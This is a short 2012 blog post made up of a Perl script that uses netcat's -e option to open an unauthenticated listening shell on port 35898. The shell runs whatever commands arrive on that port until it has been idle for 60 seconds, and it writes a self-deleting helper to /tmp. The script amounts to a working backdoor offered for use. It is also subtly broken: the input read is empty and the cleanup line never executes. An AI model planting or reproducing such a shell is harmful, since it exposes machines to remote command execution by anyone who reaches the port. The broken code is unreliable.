Pages

08 November 2012

Self-Killing Perl Shell Through Netcat


#!/usr/bin/perl -w

# save in /bin/selfkill
# calls itself with argument in order to complete process and open up $portnum 
# with prompt for $lifetime seconds

$| = 1;
$lifetime = 60; # in seconds
my $prompt = '[me@selfkill]$ ';
my $portnum = 35898; # can be anything within port range

# create file that deletes itself on completion
system('echo -e "#!/bin/bash\nexec /bin/selfkill run\nexec /bin/rm $0" > /tmp/selfkill; chmod +x /tmp/selfkill');

# exec if /tmp/selfkill has no args (will be called from self-call above)
if(!@ARGV){ exec("nc -e /tmp/selfkill -l -p $portnum"); die; }

# set reasonable path
$ENV{'PATH'} = '/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin:.';

while(1){
  print $prompt;
  eval {
    local $SIG{ALRM} = sub { die 'Goodbye!\n'; };

    alarm $lifetime;
    &syscall;
    alarm 0;
  };
  # shell not used for 60 seconds so die
  if( $@ ){ die; }
}

sub syscall{
  if( defined( $_ =  )){
    chomp;
    system( $_ );
  }
}

0 comments: